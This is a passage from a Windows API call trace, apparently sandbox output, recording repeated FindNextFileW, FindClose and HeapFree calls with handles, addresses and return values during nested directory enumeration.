FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.931] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.931] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.934] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.934] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0301.937] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.937] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0301.937] FindClose (in: hFindFile=0x7fd308 | out: hFindFile=0x7fd308) returned 1 [0301.937] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0301.937] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0301.937] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0301.940] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0301.942] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0301.942] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0301.944] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0301.944] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0301.944] FindClose (in: hFindFile=0x7fd348 | out: hFindFile=0x7fd348) returned 1 [0301.944] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0301.944] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.173] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.174] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.175] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.175] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.177] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.177] FindNextFileW (in: hFindFile=0x7fd208, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.177] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.177] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.178] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.178] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0302.178] FindClose (in: hFindFile=0x7fd148 | out: hFindFile=0x7fd148) returned 1 [0302.178] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.178] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0302.178] FindClose (in: hFindFile=0x7fcc88 | out: hFindFile=0x7fcc88) returned 1 [0302.178] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.178] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.183] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.183] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0302.183] FindClose (in: hFindFile=0x7fcbc8 | out: hFindFile=0x7fcbc8) returned 1 [0302.183] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.183] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.183] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.183] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0302.183] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.183] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0302.183] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.183] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0302.184] FindClose (in: hFindFile=0x7fd348 | out: hFindFile=0x7fd348) returned 1 [0302.184] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.184] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0302.185] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.185] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0302.185] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0302.185] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.185] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0302.185] FindClose (in: hFindFile=0x7fd148 | out: hFindFile=0x7fd148) returned 1 [0302.186] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.187] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.190] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.190] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0302.192] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.192] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0302.194] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.194] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0302.194] FindClose (in: hFindFile=0x7fcc88 | out: hFindFile=0x7fcc88) returned 1 [0302.194] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.194] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.195] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.195] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.197] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.197] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0302.197] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.197] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0302.197] FindClose (in: hFindFile=0x7fd2c8 | out: hFindFile=0x7fd2c8) returned 1 [0302.197] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.197] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0302.197] FindClose (in: hFindFile=0x7fd108 | out: hFindFile=0x7fd108) returned 1 [0302.197] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.199] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.201] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.201] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0302.201] FindClose (in: hFindFile=0x7fccc8 | out: hFindFile=0x7fccc8) returned 1 [0302.201] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.201] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.202] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.202] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.203] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.203] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0302.203] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0302.203] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.203] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.373] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.373] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.377] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.377] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.378] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.378] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.378] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.378] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.378] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.378] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.378] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.378] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.378] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.378] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.379] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.379] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.379] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.379] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.379] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.379] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.379] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.379] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.379] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.379] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.379] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.379] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.379] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.379] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.380] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.380] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.380] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.380] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.380] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.380] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.380] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.380] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.380] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.380] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.380] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.380] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.380] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.380] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.381] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.381] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.381] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.381] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.381] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.381] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.381] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.381] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.381] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.381] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.381] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.381] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.381] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.381] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.382] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.382] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.382] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.382] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.382] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.382] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.382] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.382] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.382] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.382] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.382] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.382] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.382] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.382] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.383] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.383] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.383] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.383] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.383] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.383] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.383] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.383] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.383] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.383] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.383] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.383] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.383] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.383] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.384] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.384] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.384] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.384] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.384] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.384] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.384] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.384] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.384] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.384] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0302.384] FindClose (in: hFindFile=0x7fd1c8 | out: hFindFile=0x7fd1c8) returned 1 [0302.384] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.384] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.389] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.389] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.393] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.393] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.396] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.396] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.396] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.396] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.396] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.396] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.397] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.397] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0302.398] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.398] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.443] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.443] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.451] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.451] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.451] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.451] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.451] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.451] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.452] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.452] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.767] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.767] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0302.767] FindClose (in: hFindFile=0x7fd108 | out: hFindFile=0x7fd108) returned 1 [0302.767] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.767] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.768] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.768] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0302.768] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0302.769] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0302.771] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0302.771] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0302.773] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0302.773] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0302.773] FindClose (in: hFindFile=0x7fcd88 | out: hFindFile=0x7fcd88) returned 1 [0302.773] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0302.773] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0302.776] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.776] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0302.777] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 